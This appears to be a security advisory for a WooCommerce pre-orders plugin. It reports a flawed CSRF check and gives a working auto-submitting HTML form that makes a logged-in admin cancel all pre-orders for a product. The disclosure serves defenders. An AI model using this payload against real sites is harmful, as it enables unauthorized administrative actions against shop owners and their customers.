The plugin has a flawed CSRF check when processing its tab actions, which could allow attackers to make logged in admins email pre-orders customer, change the released date, mark all pre-orders of a specific product as complete or cancel via CSRF attacks
Make a logged in admin open an HTML page with the form below (this will cancel all pre-orders for the product with ID 777)
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/admin.php?page=wc_pre_orders&tab=actions" method="POST">
<input type="text" name="wc_pre_orders_action" value="cancel">
<input type="text" name="wc_pre_orders_action_product" value="777">
<input type="submit" value="submit">
</form>
</body>